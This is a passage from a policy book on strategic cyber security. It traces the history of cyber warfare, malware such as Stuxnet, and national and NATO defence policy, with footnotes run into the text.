Cyber warfare is unlike traditional warfare, but it shares some characteristics with the historical role of aerial bombardment, submarine warfare, special operations forces, and even assassins. Specifically, it can inflict painful, asymmetric damage on an adversary from a distance or by exploiting the element of surprise.10 The post-World War II U.S. Strategic Bombing Survey (USSBS) may hold some les- sons for cyber war planners. The USSBS concluded that air power did not perma- nently destroy any indispensable adversary industry during the war, and that “per- sistent re-attack” was always necessary. Nonetheless, the report left no doubt about its ultimate conclusion: 7 Kelly, 2011. 8 “Cyber Command’s strategy...” 2011. 9 From the FBI website: www.fbi.gov. 10 Parks & Duggan, 2001. 13 Cyber Security and National Security ... Allied air power was decisive in the war in Western Europe ... In the air, its victory was complete. At sea, its contribution ... brought an end to the enemy’s greatest naval threat – the U-boat; on land, it helped turn the tide overwhelmingly in favor of Allied ground forces.11 Cyber attacks are unlikely to have the lethality of a strategic bomber, at least for the foreseeable future. But in the end, the success of military operations is effects- based. If both a ballistic missile and a computer worm can destroy or disable a target, the natural choice will be the worm. In May 2009, President Obama made a dramatic announcement: “Cyber intruders have probed our electrical grid ... in other countries, cyber attacks have plunged entire cities into darkness.”12 Investigative journalists subsequently concluded that these attacks took place in Brazil, affecting millions of civilians in 2005 and 2007, and that the source of the attacks is still unknown.13 National security planners should consider that electricity has no substitute, and all other infrastructures, in- cluding computer networks, depend on it.14 In 2010, the Stuxnet computer worm may have accomplished what five years of United Nations Security Council resolutions could not: disrupt Iran’s pursuit of a nuclear bomb.15 If true, a half-megabyte of computer code quietly substituted for air strikes by the Israeli Air Force. Moreover, Stuxnet may have been more effective than a conventional military attack and may have avoided a major international cri- sis over collateral damage. To some degree, the vulnerability of the Internet to such spectacular attacks will provide a strong temptation for nation-states to take advan- tage of computer hacking’s perceived high return-on-investment before it goes away. If cyber attacks play a lead role in future wars, and the fight is largely over owner- ship of IT infrastructure, it is possible that international conflicts will be shorter and cost fewer lives. A cyber-only victory could facilitate post-war diplomacy, economic recovery, and reconciliation. Such a war would please history’s most famous mili- tary strategist, Sun Tzu, who argued that the best leaders can attain victory before combat is necessary.16 It may be unlikely, however, that an example like Stuxnet will occur frequently. Mod- ern critical infrastructures present complex, diverse, and distributed targets. They 11 United States Strategic Bombing Survey, 1945. 12 “Remarks by the President...” 2009. 13 “Cyber War...” 2009. 14 Divis, 2005. 15 Falkenrath, 2011. 16 Sawyer, 1994. 14 INTRODUCTION comprise not one system, technology, or procedure, but many and are designed to survive human failings and even natural disasters. Engineers on-site may see the start of an attack and neutralize it before it becomes a serious threat. In short, computer vulnerabilities should not be confused with vulnerabilities in whole infra- structures.17 Cyber attacks may rise to the level of a national security threat only when an adver- sary has invested a significant amount of time and effort into a creative and well- timed strike on a critical infrastructure target such as an electrical grid, financial system, air traffic control, etc. Air defense is an example of a system that plays a strategic role in national security and international relations. It may also represent a particular cyber vulnerability in the context of a traditional military attack. In 2007, for example, it was reported that a cyber attack preceded the Israeli air force’s destruction of an alleged Syrian nuclear reactor.18 Military leaders, by virtue of their profession, should expect to receive Denial of Ser- vice (DoS) attacks against their network infrastructure. As early as the 1999 Kosovo war, unknown hackers attempted to disrupt NATO military operations via the Inter- net and claimed minor victories.19 In future conflicts, DoS attacks may encompass common network “flooding” techniques, the physical destruction of computer hard- ware, the use of electromagnetic interference,20 and more. Terrorists do not possess the unqualified nation-state backing that militaries enjoy. As a consequence, they may still believe that the Internet poses more of a danger than an opportunity. Forensic examination of captured hard drives proves that terrorists have studied computer hacking,21 and Western economies are a logical target. For example, ten- sion in the Middle East is now always accompanied by cyber attacks. During the 2006 war between Israel and Gaza, pro-Palestinian hackers successfully denied ser- vice to around 700 Israeli Internet domains.22 But a long-term, economic threat from cyber terrorists may be illogical. In a global- ized, interconnected world, a cooperative nation-state would only seem to be hurt- ing itself, and a terrorist group may crave a higher level of shock and media atten- 17 Lewis, 2002. 18 Fulghum et al, 2007. 19 Verton, 1999; “Yugoslavia...” 1999. 20 Designed to destroy electronics via current or voltage surges. 21 “Terrorists...” 2006. 22 Stoil & Goldstein, 2006. 15 Cyber Security and National Security tion than a cyber attack could create.23 Former U.S. Director of National Intelligence (DNI) Mike McConnell has argued that a possible exception could be a cyber attack on the public’s confidence in the financial system itself, specifically in the security and supply of money.24 All things considered, cyber attacks appear capable of having strategic consequenc- es; therefore, they must be taken seriously by national security leadership. At the national and organizational levels, a good starting point is methodical risk manage- ment, including objective threat evaluation and careful resource allocation. The goal is not perfection, but the application of due diligence and common sense. The pertinent questions include: • What is our critical infrastructure? • Is it dependent on information technology? • Is it connected to the Internet? • Would its loss constitute a national security threat? • Can we secure it or, failing that, take it off-line? Objectivity is key. Cyber attacks receive enormous media hype, in part because they involve the use of arcane tools and tactics that can be difficult to understand for those without a formal education in computer science or information technology. As dependence on IT and the Internet grow, governments should make proportional investments in network security, incident response, technical training, and interna- tional collaboration. However, because cyber security has evolved from a technical discipline to a strate- gic concept, and because cyber attacks can affect national security at the strategic level, world leaders must look beyond the tactical arena. The quest for strategic cyber security involves marshaling all of the resources of a nation-state. Therefore, the goal of this research is to evaluate nation-state cyber attack mitiga- tion strategies. To support its arguments and conclusions, the author employs the Decision Making Trial and Evaluation Laboratory (DEMATEL). 23 Lewis, 2010. CSIS’s Lewis recently stated: “It remains intriguing and suggestive that [terrorists] have not launched a cyber attack. This may reflect a lack of capability, a decision that cyber weapons do not produce the violent results terrorists crave, or a preoccupation with other activities. Eventually terrorists will use cyber attacks, as they become easier to launch...” 24 “Cyber War...” 2009. 16 INTRODUCTION The Nature and Scope of this Book Today, world leaders fear that cyber terrorism and cyber warfare pose a new and perhaps serious threat to national security – the Internet is a powerful resource, modern society is increasingly dependent upon it, and cyber attackers have demon- strated the capability to manipulate and disrupt the Internet for a wide variety of political and military purposes. There is a clear need for national security planners to prepare cyber defenses at both the tactical and strategic levels. The goal of this research is to help decision makers with the latter – to choose the most efficient courses of action to take at the strategic level in order to defend their national interests in cyberspace. Beyond its Introduction and Conclusion, this book has three primary parts. First, it explores the changing nature of cyber security, tracing its evolution from a technical discipline to a strategic concept. Second, it evaluates four approaches to improving the cyber security posture of a nation-state – Internet Protocol version 6 (IPv6), the application of Sun Tzu’s Art of War to cyber conflict, cyber attack deterrence, and cyber arms control. Third, it employs the Decision Making Trial and Evaluation Laboratory (DEMATEL) to analyze the key concepts covered and to prioritize the four cyber security strategies. The four cyber attack mitigation strategies – IPv6, Art of War, deterrence and arms control – fall into several categories. IPv6 is a technical solution. Art of War is mili- tary. The third and fourth strategies are hybrid: deterrence is a mix of military and political considerations; arms control is a political/technical approach. There are significant limitations to this research. Cyberspace is complex, dynamic, and constantly evolving. National security planning involves a wide array of fallible human perceptions and at times irrational decision-making at both the national and international levels. At a minimum, strategic cyber security demands a holistic investigation, subject to the particular context of different nations. These complexi- ties serve to limit the aspiration of this research to an initial policy evaluation that addresses the needs of a theoretical nation-state. Data collection for this research consisted primarily of peer-reviewed scientific lit- erature and the author’s direct observation of events such as the 2010 Cooperative Cyber Defence Centre of Excellence/Swedish National Defence College cyber defense exercise (CDX), “Baltic Cyber Shield.” Data analysis is almost exclusively that of the author,25 whose personal experience as a cyber security analyst spans over a decade. 25 Three chapters were co-written by colleagues with a very strong technical background. 17 Cyber Security and National Security The validation of this research rests on peer-review, to which every chapter has been subjected. It encompasses fourteen articles related to strategic cyber security, eleven written solely by the author, six of which are listed in the Thomson Reuters ISI Web of Knowledge. The author is ideally placed to conduct this research. Since 2007, he has been a Sci- entist at the North Atlantic Treaty Organization (NATO) Cooperative Cyber Defence Centre of Excellence in Tallinn, Estonia.26 Previously, he was the Division Chief for Cyber Analysis at the Naval Criminal Investigative Service (NCIS) in Washington, DC. Research Outline This book seeks to help nation-states mitigate strategic-level cyber attacks. It has five parts. I. Introduction: Cyber Security and National Security II. Birth of a Concept: Strategic Cyber Security III. Nation-State Cyber Attack Mitigation Strategies IV. Data Analysis and Research Results V. Conclusion: Research Contributions Part II explores the concept of “strategic” cyber security, moving beyond its tacti- cal, technical aspects – such as how to configure a firewall or monitor an intrusion detection system – to defending the cyberspace of a nation-state. It provides the foundation and rationale for Parts III and IV, and has three chapters. 1. Cyber Security: A Short History 2. Cyber Security: A Short History 3. Cyber Security: A Technical Primer 4. Cyber Security: Real World Impact Part III of this book asks four research questions, which highlight four likely stra- tegic approaches that nations will adopt to mitigate the cyber attack threat and to improve their national cyber security posture. 5. The Next-Generation Internet: can Internet Protocol version 6 (IPv6) increase strategic cyber security? 26 The Centre’s vision is to be NATO’s primary source of expertise in the field of cooperative cyber defense research. As of mid-2011, the Centre employed cyber defense specialists from nine different Sponsoring Nations. 18 INTRODUCTION 6. Sun Tzu’s Art of War: can the world’s best military doctrine encompass cyber warfare? 7. Cyber attack deterrence: is it possible to prevent cyber attacks? 8. Cyber arms control: can we limit cyber weapons? Part IV employs the Decision Making Trial and Evaluation Laboratory (DEMATEL) to analyze the key concepts covered in this book and to prioritize the four proposed cyber attack mitigation strategies addressed in Part III. Its goal is to help decision makers choose the most efficient ways to address the challenge of improving cyber security at the strategic level. 9. DEMATEL and Strategic Analysis 10. Key Findings Part V, the Conclusion, summarizes the contributions of this book and provides sug- gestions for future research. 19 Cyber Security: A Short History II. BIRTH OF A CONCEPT: STRATEGIC CYBER SECURITY 2. CYBER SECURITY: A SHORT HISTORY Human history is often marked by revolutions in science and technology. During the Industrial Revolution, for example, the steam engine worked miracles for our mus- cles. Standardization and mass production dramatically lowered the cost of manu- factured goods by decreasing the amount of human energy required to make them. We are now in the middle of the Information Revolution. The computer is in effect a steam engine for our brains. It dramatically facilitates the acquisition and validation of knowledge. The primary goal of building the first computers was simple – to cre- ate a machine that could process calculations faster than a human could by hand. In due course, scientists were able to accomplish that and much, much more. Chapter 2 of this book outlines the primary historical events that have transformed cyber security from a technical discipline to a strategic concept. The Power of Computers In 1837, Cambridge University Professor Charles Babbage designed the “Analytical Engine,” a surprisingly modern mechanical computer that was never built because it was about 100 years ahead of its time. Historically, national security considerations have been the prevailing wind behind the development of Information Technology (IT).27 In 1943, the U.S. military com- missioned the world’s first general-purpose electronic computer, the Electronic Nu- merical Integrator and Computer (ENIAC). This collection of 18,000 vacuum tubes was designed to compute ballistic trajectories at 100,000 “pulses” per second, or 100 times faster than a human with a mechanical calculator. ENIAC smashed all expectations, calculating at speeds up to 300,000 times faster than a human. After WWII, cutting-edge computers began to demonstrate their value outside the military realm. UNIVAC I,28 the first commercial computer produced in the United 27 Commercially, companies such as International Business Machines (IBM) had found success in marketing electro-mechanical devices by 1900. 28 The Universal Automatic Computer I had a clock speed of 2.5 MHz, a central memory of 1,000 91-bit words, and a peak rate of 1,000 FLOPS, or about 1/1,000,000th the speed of a CRAY-2. 20 BIRTH OF A CONCEPT: STRATEGIC CYBER SECURITY States, correctly predicted the results of the 1952 Presidential election based on a sample of just 1%. But the Information Revolution had only just begun. The arrival of the personal com- puter (PC) left a much deeper impact on the Earth. The invention of the microproces- sor, random-access storage, and software of infinite variety allowed anyone to own a “personal mainframe” with demonstrable scientific and engineering capabilities.29 Information Technology (IT) now pervades our lives. In 1965, Gordon Moore cor- rectly predicted that the number of transistors on a computer chip would double every two years.30 There has been similar growth in almost all aspects of informa- tion technology (IT), including the availability of practical encryption, user-friendly hacker tools, and Web-enabled open source intelligence (OSINT). The physical limits of desktop computing are approaching. For example, electronic circuitry may be reaching its minimum physical size, and the maximum rate at which information can move through any computer system may be limited by the finite speed of light. However, the simultaneous rise of “cyberspace” solves this problem. In 2010, there were nearly one billion computers connected directly to the Internet, and over 1.5 billion Internet users on Earth.31 Today, a reliable connection to the Internet is more important than the power of one’s computer and provides infinitely greater utility to the user. The Rise of Malicious Code Together, computers and computer networks offer individuals, organizations, and governments the ability to acquire and exploit information at unprecedented speed. In business, diplomacy, and military might, this translates into a competitive advan- tage, suggesting that brains will beat brawn with increasing frequency over time and that computer resources will play a central role in future human conflict. The original meaning of the term “hacker” was quite positive. It meant a very clever user of technology, specifically someone who modified hardware or software in or- der to stretch its limits, especially to take it beyond where its inventors had intended 29 Miller, 1989. 30 “Moore’s Law...” www.intel.com. 31 These figures are from The World Factbook, published by the Central Intelligence Agency: “Internet hosts” are defined as a computer connected directly to the Internet, either from a hard-wired terminal, or by modem/telephone/satellite, etc. 21 Cyber Security: A Short History it to go. Over time, however, the criminalization of hacking has led to a decay of the word’s original meaning. Regardless of a hacker’s intentions, there are three basic forms of cyber attack32 that national security planners should keep in mind. The first type of attack targets the confidentiality of data. It encompasses any un- authorized acquisition of information, including via “traffic analysis,” in which an attacker infers communication content merely by observing communication pat- terns. Because global network connectivity is currently well ahead of global and local network security, it can be easy for hackers to steal enormous amounts of sensitive information. For example, in 2009 a Canadian research group called Information Warfare Moni- tor revealed the existence of “GhostNet,” a cyber espionage network of over 1,000 compromised computers in 103 countries that targeted diplomatic, political, eco- nomic, and military information.33 The second type of attack targets the integrity of information. This includes the “sabotage” of data for criminal, political, or military purposes. Cyber criminals have been known to encrypt the data on a victim’s hard drive and then demand a ransom payment in exchange for the decryption key. Some countries with poor human rights records have been accused of editing the email and blog entries of their citizens.34 The third type of attack targets the availability of computers or information resourc- es. The goal here is to prevent authorized users from gaining access to the systems or data they require to perform certain tasks. This is commonly referred to as a denial-of-service (DoS) and encompasses a wide range of malware, network traffic, or physical attacks on computers, databases, and the networks that connect them. In 2001, “MafiaBoy,” a 15 year-old student from Montreal, conducted a successful DoS attack against some of the world’s biggest online companies, likely causing over $1 billion in financial damage.35 In 2007, Syrian air defense was reportedly disabled by a cyber attack moments before the Israeli air force demolished an alleged nuclear reactor.36 And the Burmese government, during a government crackdown on politi- cal protestors, completely severed its Internet connection to the outside world.37 32 The term “cyber” is used generically to describe computers, networks, and digital information. 33 “Tracking GhostNet...” 2009. 34 Geers, 2007a. 35 Verton, 2002. 36 Fulghum et al, 2007. 37 Tran, 2007. 22 BIRTH OF A CONCEPT: STRATEGIC CYBER SECURITY If computer users were isolated from one another, computer security management would be straightforward and rely primarily on personnel background checks and padlocks. But the benefits of networking are too great to ignore. Modern organiza- tions require Internet connectivity. The trick is to find the right balance between functionality, performance, and secu- rity. It is impossible to optimize the equilibrium with respect to all attacks. Before a military operation, if every soldier knew every detail of the plan, morale and readi- ness might improve, but it would be far easier for the enemy to become witting as well. On the other hand, when too few soldiers are in the know, the odds of success are lower.38 As during WW II, the national security community continued to lead the way. By 1967, the U.S. military had configured an IBM System/360 network with discrete levels of clearance, compartments, need-to-know, and centralized authority control. In the civilian world, however, system administrators could not prevent users from reading the data of another user until 1970. And even then, the administrative goal was to prevent accidental data corruption, not to protect users from one another.39 As Internet connectivity grew, malicious users and computer hackers were able to conduct increasingly asymmetric attacks. In theory, an attacker can target all Inter- net-connected computers simultaneously, with an attack that travels at near light- speed. The strength of the Internet – an accessible, collaborative framework based on common technologies and protocols – unfortunately makes it vulnerable to novel attacks and susceptible to swift and massive damage. The notion of a computer worm or virus dates to 1949, when the mathematician John von Neumann proposed “self-replicating automata.” However, such malware remained in an experimental stage40 until the early 1990s.41 Hackers wrote viral programs such as the Creeper worm, which infected ARPANET42 in 1971 and a 1988 Internet virus that exploited weak passwords in SUN and VAX computers. However, these programs did not yet attempt to steal or destroy data.43 38 Saydjari, 2004. 39 Saltzer & Schroeder, 1975. 40 These were primarily boot-sector viruses that targeted MS DOS. 41 Chen & Robert, 2004. 42 The U.S. Advanced Research Projects Agency Network. 43 Eichin & Rochlis, 1989. 23 Cyber Security: A Short History During the 1990s, as the number of Internet users grew exponentially, there was an explosion of malware, in both quantity and quality. In 2003, a DARPA44-funded study45 categorized the known Internet worms46 by attacker motivation: • experimental curiosity (Morris/ILoveYou), • non-existent or non-functional payload (Morris/Slammer), • backdoor creation for remote control (Code Red II), • HTML proxy, spam relay, phishing (Sobig), • DoS (Code Red/Yaha), • Distributed DoS (Stacheldraht), • criminal data collection, espionage (SirCam), • data damage (Chernobyl/Klez), and • political protest (Yaha). Clearly, the goal of computer hacking is limited only by the attacker’s imagination. The DARPA study speculated that future worms could facilitate human surveillance, commercial advantage, the management of distributed malware, terrorist recon- naissance, and even the manipulation of critical infrastructures in support of cyber war objectives. Why are hackers so successful, and are we improving our defenses against them? Fortunately, an enormous amount of attention has been drawn to cyber security. For example, in 2002, Microsoft advertised its Trustworthy Computing Initiative, de- claring that security would henceforth be at the forefront of Window’s development. 44 The U.S. Defense Advanced Research Projects Agency. 45 Five worm characteristics were analyzed: target discovery, method of transmission, code activation, payload, and attacker motivation. Motivation is normally learned by studying the payload, or the non- propagation code, of malware. 46 A computer worm is a program that self-propagates across a network, exploiting security or policy flaws in widely-used services. Viruses typically infect non-mobile files and normally require some user action to move them across a network. Thus the propagation rate of a worm is typically much faster than with a virus. 24 BIRTH OF A CONCEPT: STRATEGIC CYBER SECURITY Unfortunately, many common computer vulnerabilities are of a persistent nature.47 These include: • the high cost of producing quality software,48 • technical challenges associated with software patch deployment, • susceptibility of the commonly-used C/C++ languages to buffer overflows and code-injection,49 • use of administrator rights by common system and user programs,50 and • the prevalence of “monoculture” computing environments.51 The computer security problem space is both broad and deep. In terms of quantity, in the single month of May 2009, Kaspersky Lab identified 42,520 unique samples of possible malware on its clients’ computers. In terms of quality, the cyber defense community is currently analyzing the most sophisticated piece of malware yet found – Stuxnet.52 This worm targeted national critical infrastructures, specifically the SCADA53 systems used to manage major in- dustrial installations such as power grids and the Programmable Logic Controllers (PLCs) used to control devices such as pumps and valves. Stuxnet’s propagation strategy is a wonder to behold. It exploits at least four zero- day54 vulnerabilities and employs two stolen digital certificates.55 It targets “air- gapped”56 networks via removable USB drives and is smart enough to attempt its exploits only when connected to a SCADA environment. Finally, in 2010, most of the 47 Weaver et al, 2003. 48 Unfortunately, even the most robust and scrutinized software, such as OpenSSH, OpenSSL and Apache, have been shown to contain major security vulnerabilities. 49 These refer to attacks that target ostensibly inaccessible computer memory space and the exploitation of flaws in a computer program to insert unauthorized hacker code. 50 Hackers take advantage of the fact that malicious code normally runs at the level of the user who executes it. This is why one should never surf the Web from an Administrator account. 51 The Windows operating system, for example, commands about 90% of the desktop market share. 52 Stuxnet was discovered by a Belarusian anti-virus firm in June 2010, but the worm had been active on the Internet, undetected, for at least one year. 53 Supervisory Command and Data Acquisition. 54 Zero-day vulnerabilities are computer weaknesses that are unknown to the cyber defense community, which a witting attacker may exploit at will. 55 Digital certificates contain sensitive and hard-to-acquire cryptographic information that is used to verify identities via the Internet. 56 Air-gapped networks are not physically connected to the Internet. 25 Cyber Security: A Short History infected machines were located in a country of high interest to intelligence agencies around the world – Iran.57 A strategic challenge for cyber defense is that the Internet evolves so quickly it is impossible for any organization to master all of the latest developments. Over time, attackers have subverted an ever-increasing number of operating systems, applica- tions, and communications protocols. Defenders simply have too much technical ground to cover, which is to a hacker’s advantage and places a premium on defen- sive creativity, good intelligence, and some level of automated attack detection and response. Lone Hacker to Cyber Army Information operations are surely as old as warfare itself. A well-known example from the 20th century is the spectacular effort by the Allies to convince the Ger- man military leadership that the D-Day invasion would take place at Pas-de-Calais instead of Normandy.58 The first mention of a forthcoming “information war” in cyberspace is attributed to Thomas Rona, the author of a 1976 Boeing Corporation research paper entitled “Weapon Systems and Information War.”59 Rona perceived that computer networks were both an asset and a liability for any organization. Once a mission came to rely on the proper functioning of IT for success, computer systems would be among the first targets in war. Rona argued that all information flows within any command- and-control system are vulnerable to jamming, overloading, or spoofing by an ad- versary.60 In 1993, a widely-cited U.S. Naval Postgraduate School (NPS) article examined the historical aspects of “cyberwar.” Its authors argued that the Information Revolu- tion would change not only how wars are fought, but even why wars are fought. IT offered the world such increased organizational efficiency and improved decision- making that traditional hierarchies and political systems would be forced to evolve or die, and even international borders would have to be redrawn. For militaries, IT-enhanced situational awareness was compared to the 13th cen- tury Mongol army’s use of “arrow riders” on horseback to keep national leadership informed of distant battlefield developments with astonishing speed and to the ad- vantage a chess player would have over a blindfolded opponent. Cyberwar could be 57 “Stuxnet...” 2010. 58 Churchman, 2005. 59 Rona, 1976. 60 Van Creveld, 1987. 26 BIRTH OF A CONCEPT: STRATEGIC CYBER SECURITY to the 21st century what blitzkrieg or “lightning war” was to the 20th century, and a standard military goal will be to turn the balance of information control in one’s favor, especially if the balance of conventional forces is not. The NPS professors envisioned two levels of Internet conflict: a “netwar” of diploma- cy and propaganda, and “cyberwar,” which would encompass all military operations designed to attack an adversary’s critical IT systems.61 In 2001, computer scientists from the Carnegie Mellon University Computer Emer- gency Response Team (CERT) wrote an article for the NATO Review, “Countering Cyber War,” which argued that cyber attacks would play an increasingly strategic role in warfare and that NATO must immediately begin to plan for the defense of cyberspace. The CERT team described three levels of cyber warfare. The first is a simple adjunct to traditional military operations to gain information superiority, such as by target- ing an air defense system. However, because military functions such as early warn- ing have an intrinsic strategic value to a nation, a successful cyber attack against air defense could lead to strategic losses. The second level is “limited” cyber war. Here, civilian Internet infrastructure be- comes part of the battleground, and the target list includes some civilian enterprises. The third and most serious level is “unrestricted” cyber war. Here, an adversary seeks to cause maximum damage to civilian infrastructure in order to rupture the “social fabric” of a nation. Air-traffic control, stock exchange, emergency services, and power generation systems62 could be targets. The goal is as much physical dam- age and as many civilian casualties as possible.63 In 2001, James Adams revealed in the pages of Foreign Affairs that the U.S. Depart- ment of Defense had in fact put cyber war theories to a real-world test in a classi- fied 1997 Red Team exercise codenamed “Eligible Receiver.” Thirty-five U.S. National Security Agency (NSA) personnel, simulating North Korean hackers, used a variety of cyber and information warfare (IW) tools and tactics, including the transmission of fabricated military orders and news reports, to attack the U.S. Navy’s Pacific Com- mand from cyberspace. The Red Team was so successful that the Navy’s “human command-and-control system” was paralyzed by mistrust, and “nobody ... from the president on down, could believe anything.”64 61 Arquilla & Ronfeldt, 1993. 62 Successful attacks on electricity grids have subsequent, unforeseeable effects on an economy because most infrastructures, including computer systems, rely on electricity to function. 63 Shimeall et al, 2001. 64 Adams, 2001. 27 Cyber Security: A Short History Nonetheless, two important IW thinkers remained dubious. Georgetown University Professor Dorothy Denning agreed that “hacktivism”65 had begun to influence politi- cal discourse, but argued that there had not been a single verifiable case of cyber terrorism, and believed that no cyber attack had yet caused a human casualty.66 Furthermore, James Lewis of the Center for Strategic and International Studies (CSIS) opined that cyber attacks were easy to hype because cyber security is an arcane discipline that is difficult for non-experts to understand. He argued that vul- nerabilities in computers did not equate to vulnerabilities in critical infrastructures, and that terrorists would continue to prefer traditional physical attacks because the likelihood of real-world damage was much higher. While cyber attacks were a grow- ing business problem, they did not yet pose a threat to national security.67 One decade later, it is possible that some militaries have crossed that threshold. A 2009 report on the cyber warfare capabilities of the People’s Republic of China (PRC) described a highly-networked force that can now communicate with ease across military services and through chains of command. Furthermore, each mili- tary unit has a clear, offensive cyber mission in times of both war and peace. In peacetime, strategic intelligence is gathered via cyber espionage to help win future wars.68 In war, a broad array of computer network operations (CNO), electronic war- fare (EW), and kinetic strikes will be used to achieve information superiority over an adversary,69 especially during the early or preemptive-strike phases of a conflict.70 Is cyber espionage alone capable of changing the balance of power among nations? By 1999, the U.S. Energy Department had discovered hundreds of attacks on its computer systems from outside the United States and determined that Chinese hacking in particular posed an “acute” intelligence threat to U.S. nuclear weapons laboratories.71 The U.S. Joint Strike Fighter (JSF) is the most expensive weapons program in world history. Unknown hackers have stolen terabytes of JSF design and electronics data72 65 Hacktivism is a combination of hacking and political activism. 66 Denning, 2002. 67 Lewis, 2002. 68 As evidence of state-sponsorship, the report cites sophisticated hacking techniques and the collection of military and China-specific policy information that is of little commercial value. 69 One goal would be to create exploitable “blind spots” in an adversary’s decision cycle that could, for example, lead to the delay of adversary military deployments. 70 Krekel, 2009. 71 Gerth & Risen, 1999. 72 Officials believed that the jet’s most closely-held secrets, which pertained to flight controls and sensors, were safe because they had been stored on computers not connected to the Internet. 28 BIRTH OF A CONCEPT: STRATEGIC CYBER SECURITY in a mammoth case of cyber espionage that has revealed a government’s vulner- ability to the security posture of its civilian contractors and the exasperating task of conducting a cyber battle damage assessment.73 Based on the IP addresses used and other known digital fingerprints, the JSF attacks were believed with a high level of certainty to come from the Chinese military.74 From a strategic perspective, the cyber threat that hits closest to home and may eventually spur international agreements to mitigate the hacker threat relates to critical infrastructure protection (CIP). The potential target list seems endless: air traffic,75 financial sector,76 national elections,77 water,78 even electricity.79 Trends sug- gest that all of the above are increasingly connected to the Internet, and that custom IT systems are over time replaced with less expensive Windows and UNIX systems that are not only easier to use, but easier to hack.80 Have real-world attacks on national critical infrastructures already taken place? In May 2009, President Obama made a dramatic announcement: “Cyber attacks have plunged entire cities into darkness.”81 Investigative journalists subsequently concluded that the attacks took place in Brazil in 2005 and 2007, affected millions of civilians, and that the source of the attacks is still unknown.82 National Security Planning Scientists began to warn the world about the danger of computer hacking shortly after WW II. Technical precautions, at least within the national security community, were implemented by the 1960s. 73 The hackers encrypted the JSF data they found before removing it from the network, so it was nearly impossible for investigators to determine exactly what had been stolen. JSF electronics run over seven million lines of computer code, more than triple currently used in the top Air Force fighter, so the attackers have potentially found many vulnerabilities to exploit in the future. 74 Gorman et al, 2009. 75 Gorman, 2009a. 76 Wagner, 2010. After the Dow Jones surprisingly plunged almost 1,000 points, White House adviser John Brennan stated that officials had considered but found no evidence of a malicious cyber attack. 77 Orr, 2007. In 2007, California held a hearing on the security of its touch-screen voting machines, in which a Red Team leader testified that the voting system was vulnerable to attack. 78 Preimesberger, 2006. In 2006, the Sandia National Laboratories Red Team conducted a network vulnerability assessment of U.S. water distribution plants. 79 Meserve, 2007. Department of Homeland Security (DHS) officials briefed CNN that Idaho National Laboratory (INL) researchers had hacked into a replica of a power plant’s control system and changed the operating cycle of a generator, causing it to self-destruct. 80 Preimesberger, 2006. 81 “Remarks by the President...” 2009. 82 “Cyber War...” 2009. 29 Cyber Security: A Short History As the size and importance of the Internet grew, however, there was a need for computer security to move from a tactical to a strategic level. And the driving force for national policy was the realization that a combination of persistent computer vulnerabilities and worldwide connectivity had placed national critical infrastruc- tures at risk. In 1997, Bill Clinton established the President’s Commission on Critical Infrastruc- ture Protection (PCCIP). Its final report, Critical Foundations: Protecting America’s Infrastructures, identified eight sectors of the U.S. economy that held strategic se- curity value: telecommunications, electric power, gas and oil, water, transportation, banking and finance, emergency services, and government continuity. PCCIP recognized not only the nation’s dependence on its critical infrastructure (CI), but also the dependence of modern CI on IT systems. Further, it cited “pervasive” vulnerabilities that were open to attack by a “wide spectrum” of potential threats and adversaries. Because the cyber attack threat to CI is strategic in scope, the national response must be equal to the task: public awareness, investment in education, scientific re- search, the development of cyber law, and international cooperation. New agencies and economic “sector coordinators” were also created,83 but PCCIP emphasized that no single individual or organization could be responsible for CIP because critical infrastructures are collective assets that the government and private sector must manage together.84 On December 4, 1998, Russia sponsored United Nations (UN) General Assembly Resolution 53/70, “Developments in the field of information and telecommunica- tions in the context of international security.” It stated that science and technology play an important role in international security, and that while modern information and communication technology (ICT) offers civilization the “broadest positive op- portunities,” ICT was nonetheless vulnerable to misuse by criminals and terrorists. UN member states were therefore requested to inform the Secretary-General of their concerns regarding ICT misuse and offer proposals to enhance its security in the future. The UN adopted Resolution 53/70 on January 4, 1999.85 The most successful international cyber security agreement to date – the Council of Europe Convention on Cybercrime – opened for signature in 2001. This treaty takes 83 PCCIP led to many developments relative to cyber security, including Presidential Decision Directive 63 (PDD-63), National Infrastructure Protection Center (NIPC), Critical Infrastructure Assurance Office (CIAO), National Infrastructure Assurance Council (NIAC), Information Sharing and Assessment Centers (ISACs), and DoD Joint Task Force—Computer Network Defense (JTF-CND). 84 Neumann, 1998. 85 “53/70...” 1999. 30 BIRTH OF A CONCEPT: STRATEGIC CYBER SECURITY aim at copyright infringement, fraud, child pornography and violations of network security policy. It offers guidelines to law enforcement regarding data interception and the search of computer networks. Its ultimate goal is a common policy on cyber crime worldwide via national legislation and international cooperation. Currently, the Convention has forty-seven national signatories, thirty ratifications, and is the primary legal instrument available to nation-states with respect to cyber security.86 At the level of national security, the most visible changes in cyber defense strat- egy have taken place within the U.S. military. A turning point occurred in 2008, when unknown hackers successfully compromised classified military systems in the “most significant breach” of U.S. military computers ever. U.S. Deputy Secretary of Defense William J. Lynn wrote in Foreign Affairs that ad- versaries now have the power to disrupt critical U.S. information infrastructure, and that the asymmetric nature of hacking means that a “dozen” computer program- mers can pose a national security threat. Over the long term, Lynn believed that computer hacking can lead to the loss of enough intellectual property to deprive a nation of its economic vitality. The most tangible U.S. response has been the creation of its military Cyber Com- mand in 2010. USCYBERCOM has three primary missions: computer network de- fense, the coordination of national cyber warfare resources, and cyber security liaison with domestic and foreign partners. Its first mission, defense, relies on a combination of traditional best practices in computer security and classified intel- ligence threat information, to create a unique, “active” U.S. cyber defense posture.87 The quest for strategic cyber defense took its most recent step forward in Lisbon, Portugal, in November 2010, where twenty-eight national leaders from the world’s foremost political and military alliance published a new “Strategic Concept” for the North Atlantic Treaty Organization (NATO). This document clearly illustrates the rapid rise in the perceived connection between computer security and national security. The previous Strategic Concept, written in 1999, did not contain a single mention of computers, networks, or hackers. The new document, entitled “Active Engagement, Modern Defence,” describes cyber attacks as “frequent, organized, and costly,” and having now reached a threshold where they threaten “national and Euro-Atlantic prosperity, security and stability.” If NATO hopes to defend the cyber domain, it must improve its ability to prevent, detect, counter and recover from cyber attacks. At a minimum, this requires placing 86 From the Council of Europe Convention on Cybercrime website: http://conventions.coe.int/. 87 Lynn, 2010. 31 Cyber Security: A Short History all NATO bodies under centralized cyber protection, upgrading member state cyber defense capabilities, and coordinating the efforts of national and organizational cy- ber security resources.88 In fact, NATO may be the best place to begin answering the national security chal- lenge posed by cyber attacks. The Internet is now an international asset. As such, threats to it require an international response. As a large group of affluent nations with a shared political and military agenda,89 it is possible that NATO today could deal a significant blow to one of a hacker’s greatest advantages – anonymity.90 More Questions than Answers Although the first modern computer was designed at Cambridge in 